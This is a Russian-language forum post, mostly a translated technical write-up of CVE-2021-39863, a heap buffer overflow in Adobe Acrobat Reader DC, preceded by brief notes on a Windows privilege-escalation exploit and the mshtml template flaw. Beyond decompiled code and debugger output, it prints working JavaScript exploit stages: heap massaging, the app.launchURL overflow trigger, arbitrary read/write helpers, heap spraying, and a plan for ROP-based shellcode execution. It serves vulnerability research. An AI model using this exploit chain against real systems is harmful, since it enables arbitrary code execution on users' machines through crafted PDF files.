*(QWORD *)ref_g_pMem5 = qwDestAddr - g_pmbi_rcBar_left;
GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
return (unsigned int)pmbi.rcBar.left + ((__int64)pmbi.rcBar.top << 32);
}
В качестве примитива на запись используется функция SetWindowLongPtrA. Далее перезатирается токен для выполнения команд с повышенными привелегиями.
Уязвимость в модуле mshtml, который используется для работы с разметкой в ОС Windows. Наиболее популярной уязвимость стала в совокупности с использованием MS Office пакета приложений. Это, наверное, одна из самых простых узявимостей, которые появлялись за последнее время. Уязвимость достаточно быстро получила большое количество фреймворков для воспроизведения и использования. Например, вот этот репозиторий.
Суть уязвимости заключается в том, что mshtml используется для того, чтобы скачивать из сети шаблоны для работы с Office документами. Причем производятся подобные загрузки автоматически, без какой-либо валидации.
В стандартном сценарии загрузка шаблонов позволяет работать с xml/html файлами, которые могут перемежаться cab архивами. Это обстоятельство и используется для эксплуатации. То есть чтобы стриггерить узявимость, эксплойты из репозитория просто создают подложный файл шаблона и cab файл, который будет выполнять запуск команд на системе с привелегиями пользователя, который открыл документ.
Триггер можно найти здесь.
Автор Александр Колесников
В конце июня мы опубликовали сообщение в блоге, содержащее анализ использования уязвимости переполнения буфера в кучи в Adobe Reader, уязвимости, которая, по нашему мнению, соответствует CVE-2021-21017. Отправной точкой для исследования стал POC, содержащий анализ первопричин. Вскоре после публикации сообщения в блоге мы узнали, что CVE не является авторитетным и что POC был зэро-дэем. Мы сразу взяли сообщение из блога и начали своё расследование.
Дальнейшие исследования показали, что уязвимость продолжает существовать в последней версии и может быть использована только с некоторыми изменениями в нашем эксплойте. Мы сообщили о наших результатах в Adobe. Adobe присвоила этой уязвимости код CVE-2021-39863 (https://helpx.adobe.com/security/products/acrobat/apsb21-55.html) и 14 сентября 2021 года выпустила рекомендации и исправленные версии своих продуктов.
Поскольку эксплойты были очень похожи, этот пост во многом пересекается с ранее удаленным сообщением в блоге. Он анализирует и использует CVE-2021-39863 (https://nvd.nist.gov/vuln/detail/CVE-2021-39863), переполнение буфера кучи в Adobe Acrobat Reader DC до версии 2021.005.20060 включительно.
Этот пост ([https://blog.exodusintel.com/2021/0...ree-vulnerability-in-adobe- acrobat-reader-dc/](https://blog.exodusintel.com/2021/04/20/analysis-of-a-use- after-free-vulnerability-in-adobe-acrobat-reader-dc/)) аналогичен нашему предыдущему посту об Adobe Acrobat Reader, в котором используется уязвимость UAF, которая также возникает при обработке строк Unicode и ANSI.
Обзор
Переполнение буфера в кучи происходит при объединении строки в кодировке ANSI, соответствующей базовому URL-адресу документа PDF. Это происходит, когда встроенный скрипт JavaScript вызывает функции, расположенные в модуле IA32.api, который имеет дело с доступом в Интернет, например this.submitForm и app.launchURL. Когда эти функции вызываются с относительным URL-адресом, кодировка которого отличается от кодировки базового URL-адреса PDF-файла, относительный URL-адрес обрабатывается так, как если бы он имел ту же кодировку, что и путь к PDF-файлу. Это может привести к копированию вдвое большего количества байтов исходной строки ANSI (относительного URL-адреса) в целевой буфер надлежащего размера, что приведет как к чтению за пределы, так и к переполнению буфера кучи.
CVE-2021-39863
Acrobat Reader имеет встроенный движок JavaScript, основанный на Mozilla SpiderMonkey. Встроенный код JavaScript в файлах PDF обрабатывается и выполняется модулем EScript.api (http://web.archive.org/web/20201124...m/en/devnet/acrobat/pdfs/js_api_reference.pdf) в Adobe Reader.
Операции, связанные с доступом в Интернет, обрабатываются модулем IA32.api. Уязвимость возникает в этом модуле, когда URL-адрес создается путем объединения базового URL-адреса PDF-документа и относительного URL-адреса. Этот относительный URL-адрес указывается в качестве параметра при вызове функций JavaScript, которые запускают любой вид доступа в Интернет, например this.submitForm и app.launchURL. В частности, уязвимость возникает, когда кодировка обеих строк различается.
Объединение обеих строк выполняется путем выделения памяти, достаточной для размещения последней строки. Вычисление длины обеих строк выполняется правильно с учетом того, являются ли они ANSI или Unicode. Однако, когда происходит конкатенация, проверяется только базовая кодировка URL-адреса, и считается, что относительный URL-адрес имеет ту же кодировку, что и базовый URL-адрес. Когда относительный URL-адрес закодирован в кодировке ANSI, код, который копирует байты из буфера строки относительного URL-адреса в выделенный буфер, копирует его по два байта за раз, а не только по одному байту за раз. Это приводит к чтению количества байтов, равному длине относительного URL- адреса, из-за пределов исходного буфера и его копированию за пределы целевого буфера той же длины, что приводит как к чтению за пределами диапазона, так и записи за его пределами.
Анализ кода
В следующих блоках кода показаны затронутые части методов, относящиеся к этой уязвимости. Фрагменты кода обозначены метками, обозначенными [N]. Строки, не относящиеся к этой уязвимости, заменяются маркером [Truncated ].
Все листинги кода показывают декомпилированный код C; исходный код недоступен в затронутом продукте. Определения структур получены путем реверс инжиниринга и могут неточно отражать структуры, определенные в исходном коде.
Следующая функция вызывается, когда относительный URL-адрес необходимо объединить с базовым URL-адресом. Помимо конкатенации, он также проверяет действительность обоих URL-адресов.
C:Copy to clipboard
__int16 __cdecl sub_25817D70(wchar_t *Source, CHAR *lpString, char *String, _DWORD *a4, int *a5)
{
__int16 v5; // di
wchar_t *v6; // ebx
CHAR *v7; // eax
CHAR v8; // dl
__int64 v9; // rax
wchar_t *v10; // ecx
__int64 v11; // rax
int v12; // eax
int v13; // eax
int v14; // eax
[Truncated]
v77 = 0;
v76 = 0;
v5 = 1;
*(_QWORD *)v78 = 0i64;
*(_QWORD *)iMaxLength = 0i64;
v6 = 0;
v49 = 0;
v62 = 0;
v74 = 0;
if ( !a5 )
return 0;
*a5 = 0;
v7 = lpString;
[1]
if ( lpString && *lpString && (v8 = lpString[1]) != 0 && *lpString == (CHAR)0xFE && v8 == (CHAR)0xFF )
{
[2]
v9 = sub_2581890C(lpString);
v78[1] = v9;
if ( (HIDWORD(v9) & (unsigned int)v9) == -1 )
{
LABEL_9:
*a5 = -2;
return 0;
}
v7 = lpString;
}
else
{
[3]
v78[1] = v78[0];
}
v10 = Source;
if ( !Source || !v7 || !String || !a4 )
{
*a5 = -2;
goto LABEL_86;
}
[4]
if ( *(_BYTE *)Source != 0xFE )
goto LABEL_25;
if ( *((_BYTE *)Source + 1) == 0xFF )
{
v11 = sub_2581890C(Source);
iMaxLength[1] = v11;
if ( (HIDWORD(v11) & (unsigned int)v11) == -1 )
goto LABEL_9;
v10 = Source;
v12 = iMaxLength[1];
}
else
{
v12 = iMaxLength[0];
}
[5]
if ( *(_BYTE *)v10 == 0xFE && *((_BYTE *)v10 + 1) == 0xFF )
{
v13 = v12 + 2;
}
else
{
LABEL_25:
v14 = sub_25802A44((LPCSTR)v10);
v10 = v37;
v13 = v14 + 1;
}
iMaxLength[1] = v13;
[6]
v15 = (CHAR *)sub_25802CD5(v10, 1, v13);
v77 = v15;
if ( !v15 )
{
*a5 = -7;
return 0;
}
[7]
sub_25802D98(v38, (wchar_t *)v15, Source, iMaxLength[1]);
[8]
if ( *lpString == (CHAR)0xFE && lpString[1] == (CHAR)0xFF )
{
v17 = v78[1] + 2;
}
else
{
v18 = sub_25802A44(lpString);
v16 = v39;
v17 = v18 + 1;
}
v78[1] = v17;
[9]
v19 = (CHAR *)sub_25802CD5(v16, 1, v17);
v76 = v19;
if ( !v19 )
{
*a5 = -7;
LABEL_86:
v5 = 0;
goto LABEL_87;
}
[10]
sub_25802D98(v40, (wchar_t *)v19, (wchar_t *)lpString, v78[1]);
if ( !(unsigned __int16)sub_258033CD(v77, iMaxLength[1], a5) || !(unsigned __int16)sub_258033CD(v76, v78[1], a5) )
goto LABEL_86;
[11]
v20 = sub_25802400(v77, v42);
if ( v20 || (v20 = sub_25802400(v76, v50)) != 0 )
{
*a5 = v20;
goto LABEL_86;
}
if ( !*(_BYTE *)Source || (v21 = v42[0], v50[0] != 5) && v50[0] != v42[0] )
{
v35 = sub_25802FAC(v50);
v23 = a4;
v24 = v35 + 1;
if ( v35 + 1 > *a4 )
goto LABEL_44;
*a4 = v35;
v25 = v50;
goto LABEL_82;
}
if ( *lpString )
{
v26 = v55;
v63[1] = v42[1];
v63[2] = v42[2];
v27 = v51;
v63[0] = v42[0];
v73 = 0i64;
if ( !v51 && !v53 && !v55 )
{
if ( (unsigned __int16)sub_25803155(v50) )
{
v28 = v44;
v64 = v42[3];
v65 = v42[4];
v66 = v42[5];
v67 = v42[6];
v29 = v43;
if ( v49 == 1 )
{
v29 = v43 + 2;
v28 = v44 - 1;
v43 += 2;
--v44;
}
v69 = v28;
v68 = v29;
v70 = v45;
if ( v58 )
{
if ( *v59 != 47 )
{
[12]
v6 = (wchar_t *)sub_25802CD5((wchar_t *)(v58 + 1), 1, v58 + 1 + v46);
if ( !v6 )
{
v23 = a4;
v24 = v58 + v46 + 1;
goto LABEL_44;
}
if ( v46 )
{
[13]
sub_25802D98(v41, v6, v47, v46 + 1);
if ( *((_BYTE *)v6 + v46 - 1) != 47 )
{
v31 = sub_25818D6E(v30, (char *)v6, 47);
if ( v31 )
*(_BYTE *)(v31 + 1) = 0;
else
*(_BYTE *)v6 = 0;
}
}
if ( v58 )
{
[14]
v32 = sub_25802A44((LPCSTR)v6);
sub_25818C6A((char *)v6, v59, v58 + 1 + v32);
}
sub_25802E0C(v6, 0);
v71 = sub_25802A44((LPCSTR)v6);
v72 = v6;
goto LABEL_75;
}
v71 = v58;
v72 = v59;
}
[Truncated]
LABEL_87:
if ( v77 )
(*(void (__cdecl **)(LPCSTR))(dword_25824098 + 12))(v77);
if ( v76 )
(*(void (__cdecl **)(LPCSTR))(dword_25824098 + 12))(v76);
if ( v6 )
(*(void (__cdecl **)(wchar_t *))(dword_25824098 + 12))(v6);
return v5;
}
Перечисленная выше функция получает в качестве параметров строку, соответствующую базовому URL-адресу, и строку, соответствующую относительному URL-адресу, а также два указателя, используемых для возврата данных вызывающей стороне. Два строковых параметра показаны в следующих выходных данных отладчика.
Code:Copy to clipboard
IA32!PlugInMain+0x168b0:
63ee7d70 55 push ebp
0:000> dd poi(esp+4) L84
093499c8 7468fffe 3a737074 6f672f2f 656c676f
093499d8 6d6f632e 4141412f 41414141 41414141
093499e8 41414141 41414141 41414141 41414141
093499f8 41414141 41414141 41414141 41414141
[Truncated]
09349b98 41414141 41414141 41414141 41414141
09349ba8 41414141 41414141 41414141 41414141
09349bb8 41414141 41414141 41414141 2f2f3a41
09349bc8 00000000 0009000a 00090009 00090009
0:000> da poi(esp+4) L84
093499c8 "..https://google.com/AAAAAAAAAAA"
093499e8 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
09349a08 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
09349a28 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
09349a48 "AAAA"
0:000> dd poi(esp+8)
0b943ca8 61616262 61616161 61616161 61616161
0b943cb8 61616161 61616161 61616161 61616161
0b943cc8 61616161 61616161 61616161 61616161
0b943cd8 61616161 61616161 61616161 61616161
0b943ce8 61616161 61616161 61616161 61616161
0b943cf8 61616161 61616161 61616161 61616161
0b943d08 61616161 61616161 61616161 61616161
0b943d18 61616161 61616161 61616161 61616161
0:000> da poi(esp+8)
0b943ca8 "bbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943cc8 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943ce8 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943d08 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
[Truncated]
0b943da8 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943dc8 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943de8 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943e08 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
Показанный выше вывод отладчика соответствует выполнению эксплойта. Он показывает содержимое первого и второго параметров (esp+4 и esp+8) функции sub_25817D70. Первый параметр содержит базовый URL-адрес в кодировке Unicode https://google.com/ (обратите внимание на байты 0xfeff в начале строки), а второй параметр содержит строку ASCII, соответствующую относительному URL- адресу. Оба содержат несколько повторяющихся байтов, которые служат заполнением для управления размером выделения, необходимым для их хранения, что полезно для эксплуатации.
В [1] выполняется проверка, является ли второй параметр (т.е. Базовый URL) допустимой строкой в кодировке Unicode UTF-16BE. Если это действительно так, длина этой строки вычисляется в [2] и сохраняется в v78 [1]. Если это недопустимая строка в кодировке UTF-16BE, v78 [1] устанавливается в 0 в [3]. Функция sub_2581890C(), которая вычисляет длину строки Unicode, выполняет дополнительные проверки, чтобы убедиться, что строка, переданная в качестве параметра, является допустимой строкой в кодировке UTF-16BE. В следующем листинге показан декомпилированный код этой функции.
C:Copy to clipboard
int __cdecl sub_2581890C(char *a1)
{
char *v1; // eax
char v2; // cl
int v3; // esi
char v4; // bl
char *v5; // eax
int result; // eax
v1 = a1;
if ( !a1 || *a1 != (char)0xFE || a1[1] != (char)0xFF )
goto LABEL_12;
v2 = 0;
v3 = 0;
do
{
v4 = *v1;
v5 = v1 + 1;
if ( !v5 )
break;
v2 = *v5;
v1 = v5 + 1;
if ( !v4 )
goto LABEL_10;
if ( !v2 )
break;
v3 += 2;
}
while ( v1 );
if ( v4 )
goto LABEL_12;
LABEL_10:
if ( !v2 )
result = v3;
else
LABEL_12:
result = -1;
return result;
}
Приведенный выше код возвращает длину строки в кодировке UTF-16BE, переданной в качестве параметра. Кроме того, он неявно выполняет следующие проверки, чтобы убедиться, что строка имеет допустимую кодировку UTF-16BE:
- Строка должна заканчиваться двойным нулевым байтом.
- Слова, составляющие строку, которые не являются терминатором, не должны содержать нулевой байт.
Если какая-либо из вышеперечисленных проверок завершилась неудачно, функция возвращает -1.
Продолжая работу с первой функцией, упомянутой в этом разделе, в [4] уже описанные проверки применяются к первому параметру (то есть относительному URL-адресу). В [5] длина исходной переменной (т.е. Базового URL) вычисляется с учетом ее кодировки. Функция sub_25802A44() - это реализация функции strlen(), которая работает как для строк в кодировке Unicode, так и для строк в кодировке ANSI. В [6] распределение размера переменной Source выполняется путем вызова функции sub_25802CD5(), которая является реализацией известной функции calloc().Затем в [7] содержимое переменной Source копируется в это новое выделение с помощью функции sub_25802D98(), которая является реализацией функции strncpy, которая работает как для строк в кодировке Unicode, так и для строк в кодировке ANSI. Эти операции, выполняемые с переменной Source, одинаково выполняются с переменной lpString (т.е. относительным URL-адресом) в [8], [9] и [10].
Функция в [11], sub_25802400(), получает URL-адрес или его часть и выполняет некоторую проверку и обработку. Эта функция вызывается как для базовых, так и для относительных URL-адресов.
В [12] выполняется выделение размера, необходимого для размещения конкатенации относительного URL-адреса и базового URL-адреса. Предоставленные длины вычисляются в функции, вызываемой в [11]. Для простоты это проиллюстрировано примером: следующие выходные данные отладчика показывают значение параметров для sub_25802CD5, которые соответствуют количеству выделяемых элементов и размеру каждого элемента. В этом случае размер складывается из длины базового и относительного URL.
Code:Copy to clipboard
eax=00002600 ebx=00000000 ecx=00002400 edx=00000000 esi=010fd228 edi=00000001
eip=61912cd5 esp=010fd0e4 ebp=010fd1dc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
IA32!PlugInMain+0x1815:
61912cd5 55 push ebp
0:000> dd esp+4 L1
010fd0e8 00000001
0:000> dd esp+8 L1
010fd0ec 00002600
После этого в [13] базовый URL копируется в память, выделенную для размещения конкатенации, а в [14] его длина вычисляется и предоставляется в качестве параметра для вызова sub_25818C6A. Эта функция реализует конкатенацию строк как для Unicode, так и для строк ANSI. Вызов этой функции в [14] предоставляет базовый URL-адрес в качестве первого параметра, относительный URL-адрес в качестве второго параметра и ожидаемый полный размер конкатенации в качестве третьего. Эта функция указана ниже.
C:Copy to clipboard
int __cdecl sub_sub_25818C6A(char *Destination, char *Source, int a3)
{
int result; // eax
int pExceptionObject; // [esp+10h] [ebp-4h] BYREF
if ( !Destination || !Source || !a3 )
{
(*(void (__thiscall **)(_DWORD, int))(dword_258240A4 + 4))(*(_DWORD *)(dword_258240A4 + 4), 1073741827);
pExceptionObject = 0;
CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI1H);
}
[15]
pExceptionObject = sub_25802A44(Destination);
if ( pExceptionObject + sub_25802A44(Source) <= (unsigned int)(a3 - 1) )
{
[16]
sub_258189D6(Destination, Source);
result = 1;
}
else
{
[17]
strncat(Destination, Source, a3 - pExceptionObject - 1);
result = 0;
Destination[a3 - 1] = 0;
}
return result;
}
В приведенном выше листинге в [15] вычисляется длина целевой строки. Затем она проверяет, меньше ли длина целевой строки плюс длина исходной строки желаемой длины конкатенации минус один. Если проверка проходит, функция sub_258189D6 вызывается в [16]. В противном случае вызывается функция strncat в [17].
Функция sub_258189D6, вызываемая по адресу [16], реализует фактическую конкатенацию строк, которая работает как для строк Unicode, так и для строк ANSI.
C:Copy to clipboard
LPSTR __cdecl sub_258189D6(LPSTR lpString1, LPCSTR lpString2)
{
int v3; // eax
LPCSTR v4; // edx
CHAR *v5; // ecx
CHAR v6; // al
CHAR v7; // bl
int pExceptionObject; // [esp+10h] [ebp-4h] BYREF
if ( !lpString1 || !lpString2 )
{
(*(void (__thiscall **)(_DWORD, int))(dword_258240A4 + 4))(*(_DWORD *)(dword_258240A4 + 4), 1073741827);
pExceptionObject = 0;
CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI1H);
}
[18]
if ( *lpString1 == (CHAR)0xFE && lpString1[1] == (CHAR)0xFF )
{
[19]
v3 = sub_25802A44(lpString1);
v4 = lpString2 + 2;
v5 = &lpString1[v3];
do
{
do
{
v6 = *v4;
v4 += 2;
*v5 = v6;
v5 += 2;
v7 = *(v4 - 1);
*(v5 - 1) = v7;
}
while ( v6 );
}
while ( v7 );
}
else
{
[20]
lstrcatA(lpString1, lpString2);
}
return lpString1;
}
В функции, перечисленной выше, в [18] первый параметр (место назначения) проверяется на наличие маркера спецификации Unicode 0xFEFF. Если строка назначения - Unicode, код переходит к [19]. Здесь исходная строка добавляется в конец целевой строки по два байта за раз. Если строка назначения - ANSI, тогда известная функция lstrcatA вызывается по адресу [20].
Становится ясно, что в случае, если строка назначения - Unicode, а исходная строка - ANSI, для каждого символа строки ANSI фактически копируются два байта. Это вызывает чтение за пределами допустимого размера строки ANSI, которое становится переполнением буфера кучи того же размера после копирования байтов.
Эксплуатация
Теперь мы рассмотрим, как можно использовать эту уязвимость для выполнения произвольного кода.
Для разработки эксплойта использовался Adobe Acrobat Reader DC версии 2021.005.20048 под управлением Windows 10 x64. Обратите внимание, что Adobe Acrobat Reader DC - это 32-разрядное приложение. Успешная стратегия использования эксплойтов должна обходить следующие меры безопасности для цели:
- Рандомизация адресного пространства (ASLR)
- Предотвращение выполнения данных (DEP)
- Защита потока управления (CFG)
Эксплойт не обходит следующие механизмы защиты:
- Control Flow Guard (CFG): CFG должен быть отключен на машине Windows, чтобы этот эксплойт работал. Это можно сделать в настройках защиты от эксплойтов в Windows 10, установив для параметра Control Flow Guard (CFG) значение Off по умолчанию.
Чтобы использовать эту уязвимость в обход ASLR и DEP, принята следующая стратегия:
1. Подготовьте макет кучи, чтобы можно было контролировать области памяти, смежные с выделениями, сделанными для базового URL-адреса и относительного URL-адреса. Это включает в себя выполнение достаточного количества выделений, чтобы активировать корзину с низкой фрагментацией кучи для двух размеров, и достаточное количество выделений, чтобы полностью уместиться в UserBlock. Выделения с тем же размером, что и базовое выделение URL-адреса, должны содержать объект ArrayBuffer, тогда как выделения с тем же размером, что и относительный URL-адрес, должны иметь данные, необходимые для перезаписи поля byteLength одного из этих объектов ArrayBuffer со значением 0xffff.
2. Создайте дыры в UserBlock, аннулировав ссылку на некоторые из недавно выделенных блоков памяти.
3. Запустите сборщик мусора, чтобы освободить блоки памяти, на которые ссылаются обнуленные объекты. Это дает место для базового URL-адреса и относительного размещения URL-адресов.
4. Запустите уязвимость переполнения буфера кучи, чтобы данные в блоке памяти, смежном с относительным URL-адресом, были скопированы в блок памяти, смежный с базовым URL-адресом.
5.Если все сработало, на шаге 4 должно было быть перезаписано значение byteLength одного из контролируемых объектов ArrayBuffer. Когда объект DataView создается в поврежденном буфере ArrayBuffer, можно читать и записывать память за пределами базового выделения. Это обеспечивает точный способ перезаписи byteLength следующего ArrayBuffer значением 0xffffffff. Создание объекта DataView на этом последнем ArrayBuffer позволяет произвольно читать и записывать память, но относительно того, где находится ArrayBuffer.
6. Используя построенный примитив R/W, обойдите структуру NT Heap, чтобы определить BusyBitmap. Указатель буфера. Это позволяет узнать абсолютный адрес поврежденного ArrayBuffer и построить произвольный примитив чтения и записи, который позволяет читать и записывать по абсолютным адресам.
7. Чтобы обойти DEP, необходимо повернуть стек в контролируемую область памяти. Это делается с помощью гаджета ROP, который записывает фиксированное значение в регистр ESP.
8. Обработайте кучу объектами ArrayBuffer правильного размера, чтобы они находились рядом друг с другом. Это должно разместить контролируемое выделение по адресу, указанному гаджетом ROP с поворотом стека.
9. Используйте произвольное чтение и запись для записи шелл-кода в контролируемую область памяти и для записи цепочки ROP для выполнения VirtualProtect, чтобы разрешить выполнение в области памяти, где был записан шелл-код.
10. Перезаписать указатель функции объекта DataView, используемого в примитиве чтения и записи, и запустить его вызов, чтобы захватить поток выполнения.
В следующих подразделах разбивается код эксплойта с пояснениями для лучшего понимания.
Подготовка макета кучи
Размер строк, связанных с этой уязвимостью, можно контролировать. Это удобно, поскольку позволяет выбрать правильный размер для каждого из них, чтобы они обрабатывались кучей с низкой фрагментацией (https://web.archive.org/web/20210419095256/http://www.illmatics.com/Understanding_the_LFH.pdf). Внутренняя работа кучи с низкой фрагментацией (LFH) может быть использована для повышения детерминизма структуры памяти, необходимой для использования этой уязвимости. Выбор размера, который не используется в программе, позволяет полностью контролировать активацию соответствующего ему сегмента LFH и выполнять точное количество выделений, необходимых для размещения одного блока UserBlock.
Фрагменты памяти в UserBlock возвращаются пользователю случайным образом при выполнении выделения. Идеальная компоновка, необходимая для использования этой уязвимости, - это наличие свободных фрагментов, смежных с контролируемыми фрагментами, поэтому, когда выделяются строки, необходимые для запуска уязвимости, они попадают в один из этих свободных фрагментов.
Для создания такого макета выделяются 0xd + 0x11 ArrayBuffers размером 0x2608-0x10-0x8. Первые выделения 0x11 используются для включения корзины LFH, а следующие выделения 0xd используются для заполнения UserBlock (обратите внимание, что количество фрагментов в первом UserBlock для этого размера корзины не всегда равно 0xd, поэтому этот метод не является 100%. эффективный). Размер ArrayBuffer выбран таким образом, чтобы базовое выделение было размером 0x2608 (включая метаданные блока), что соответствует корзине LFH, не используемой приложением.
Затем выполняется та же процедура, но вместо выделения ArrayBuffers выделяются строки, размер базового выделения которых равен 0x2408. Количество распределений, подходящих для UserBlock для этого размера, может быть 0xe.
Строки должны содержать байты, необходимые для перезаписи свойства byteLength объекта ArrayBuffer, которое повреждено при срабатывании уязвимости. Значение, которое перезапишет свойство byteLength, равно 0xffff. Это не позволяет использовать ArrayBuffer для чтения и записи всего диапазона адресов памяти в процессе. Кроме того, невозможно напрямую перезаписать byteLength значением 0xffffffff, поскольку это потребовало бы перезаписи указателя его объекта DataView ненулевым значением, что могло бы повредить его и нарушить его функциональность. Вместо этого запись только 0xffff позволяет избежать перезаписи указателя объекта DataView, сохраняя его функциональность неизменной, поскольку два крайних левых нулевых байта будут считаться указателем конца строки Unicode во время операции конкатенации.
JavaScript:Copy to clipboard
function massageHeap() {
[1]
var arrayBuffers = new Array(0xd+0x11);
for (var i = 0; i < arrayBuffers.length; i++) {
arrayBuffers[i] = new ArrayBuffer(0x2608-0x10-0x8);
var dv = new DataView(arrayBuffers[i]);
}
[2]
var holeDistance = (arrayBuffers.length-0x11) / 2 - 1;
for (var i = 0x11; i <= arrayBuffers.length; i += holeDistance) {
arrayBuffers[i] = null;
}
[3]
var strings = new Array(0xe+0x11);
var str = unescape('%u9090%u4140%u4041%uFFFF%u0000') + unescape('%0000%u0000') + unescape('%u9090%u9090').repeat(0x2408);
for (var i = 0; i < strings.length; i++) {
strings[i] = str.substring(0, (0x2408-0x8)/2 - 2).toUpperCase();
}
[4]
var holeDistance = (strings.length-0x11) / 2 - 1;
for (var i = 0x11; i <= strings.length; i += holeDistance) {
strings[i] = null;
}
return arrayBuffers;
}
В листинге выше распределения ArrayBuffer создаются в [1]. Затем в [2] два указателя на созданные выделения обнуляются, чтобы попытаться создать свободные фрагменты, окруженные контролируемыми фрагментами.
В [3] и [4] те же шаги выполняются с выделенными строками.
Активация уязвимости
Запустить уязвимость так же просто, как вызвать функцию JavaScript app.launchURL. Внутренне относительный URL-адрес, предоставленный в качестве параметра, объединяется с базовым URL-адресом, определенным в каталоге PDF- документов, таким образом выполняя уязвимую функцию, описанную в разделе **" Анализ кода" **этой публикации.
JavaScript:Copy to clipboard
function triggerHeapOverflow() {
try {
app.launchURL('bb' + 'a'.repeat(0x2608 - 2 - 0x200 - 1 -0x8));
} catch(err) {}
}
Размер выделения, содержащего относительную строку URL-адреса, должен быть таким же, как тот, который использовался при подготовке макета кучи, чтобы он занимал одно из освобожденных мест и, в идеале, имел контролируемое выделение рядом с ним.
Получение произвольного примитива чтения/записи
Когда правильный макет кучи будет успешно достигнут и уязвимость сработает, свойство ArrayBuffer byteLength будет повреждено со значением 0xffff. Это позволяет записывать данные за пределами выделения базовой памяти и перезаписывать свойство byteLength следующего ArrayBuffer. Наконец, создание объекта DataView в этом последнем поврежденном буфере позволяет относительным образом читать и записывать весь диапазон адресов памяти процесса.
Чтобы иметь возможность читать и писать по абсолютным адресам, необходимо получить адрес памяти поврежденного ArrayBuffer. Один из способов сделать это
Следующая функция реализует процесс, описанный в этом подразделе.
JavaScript:Copy to clipboard
function getArbitraryRW(arrayBuffers) {
[1]
for (var i = 0; i < arrayBuffers.length; i++) {
if (arrayBuffers[i] != null && arrayBuffers[i].byteLength == 0xffff) {
var dv = new DataView(arrayBuffers[i]);
dv.setUint32(0x25f0+0xc, 0xffffffff, true);
}
}
[2]
for (var i = 0; i < arrayBuffers.length; i++) {
if (arrayBuffers[i] != null && arrayBuffers[i].byteLength == -1) {
var rw = new DataView(arrayBuffers[i]);
corruptedBuffer = arrayBuffers[i];
}
}
[3]
if (rw) {
var chunkNumber = rw.getUint8(0xffffffff+0x1-0x13, true);
var chunkSize = 0x25f0+0x10+8;
var distanceToBitmapBuffer = (chunkSize * chunkNumber) + 0x18 + 8;
var bitmapBufferPtr = rw.getUint32(0xffffffff+0x1-distanceToBitmapBuffer, true);
startAddr = bitmapBufferPtr + distanceToBitmapBuffer-4;
return rw;
}
return rw;
}
Функция выше в [1] пытается найти исходный поврежденный ArrayBuffer и использовать его для повреждения соседнего ArrayBuffer. В [2] он пытается найти недавно поврежденный ArrayBuffer и построить относительный произвольный примитив чтения и записи, создав на нем объект DataView. Наконец, в [3] реализован вышеупомянутый метод получения абсолютного адреса источника относительного примитива чтения и записи.
Как только адрес источника примитива чтения и записи известен, можно использовать следующие вспомогательные функции для чтения и записи по любому адресу процесса, который имеет отображенную память.
JavaScript:Copy to clipboard
function readUint32(dataView, absoluteAddress) {
var addrOffset = absoluteAddress - startAddr;
if (addrOffset < 0) {
addrOffset = addrOffset + 0xffffffff + 1;
}
return dataView.getUint32(addrOffset, true);
}
function writeUint32(dataView, absoluteAddress, data) {
var addrOffset = absoluteAddress - startAddr;
if (addrOffset < 0) {
addrOffset = addrOffset + 0xffffffff + 1;
}
dataView.setUint32(addrOffset, data, true);
}
Распыление объектов ArrayBuffer
Метод распыления кучи ( [http://web.archive.org/web/20201122...g-tutorial- part-11-heap-spraying- demystified/](http://web.archive.org/web/20201122173432/https://www.corelan.be/index.php/2011/12/31/exploit- writing-tutorial-part-11-heap-spraying-demystified/))
выполняет большое количество контролируемых выделений с намерением иметь смежные области управляемой памяти. Ключом к получению смежных областей памяти является выделение определенного размера.
В JavaScript удобный способ выделения памяти в куче, содержимое которой полностью контролируется, - это использование объектов ArrayBuffer ([http://web.archive.org/web/20201122...vaScript/Reference/Global_Objects/ArrayBuffer](http://web.archive.org/web/20201122163109/https://developer.mozilla.org/en- US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer)). Память, выделенная для этих объектов, может быть прочитана и записана с использованием объектов DataView ([http://web.archive.org/web/20201122.../JavaScript/Reference/Global_Objects/DataView](http://web.archive.org/web/20201122163142/https://developer.mozilla.org/en- US/docs/Web/JavaScript/Reference/Global_Objects/DataView)).
Чтобы получить распределение кучи правильного размера, необходимо учитывать метаданные объектов ArrayBuffer и фрагментов кучи. Внутреннее представление объектов ArrayBuffer (<http://web.archive.org/web/20201122161834/https://vigneshsrao.github.io/play- with-spidermonkey/>) сообщает, что размер метаданных составляет 0x10 байт. Размер метаданных занятого фрагмента кучи составляет 8 байтов.
Поскольку цель состоит в том, чтобы смежные области памяти были заполнены контролируемыми данными, выполняемые распределения должны иметь тот же размер, что и размер сегмента кучи, который составляет 0x10000 байт. Следовательно, объекты ArrayBuffer, созданные во время распыления кучи, должны иметь размер 0xffe8 байтов.
JavaScript:Copy to clipboard
function sprayHeap() {
var heapSegmentSize = 0x10000;
[1]
heapSpray = new Array(0x8000);
for (var i = 0; i < 0x8000; i++) {
heapSpray[i] = new ArrayBuffer(heapSegmentSize-0x10-0x8);
var tmpDv = new DataView(heapSpray[i]);
tmpDv.setUint32(0, 0xdeadbabe, true);
}
}
Перечисленная выше функция эксплойта выполняет распыление ArrayBuffer. Общий размер распыления, определенный в [1], был определен путем установки числа, достаточно большого, чтобы ArrayBuffer был выделен по выбранному предсказуемому адресу, определяемому используемым гаджетом ROP поворота стека.
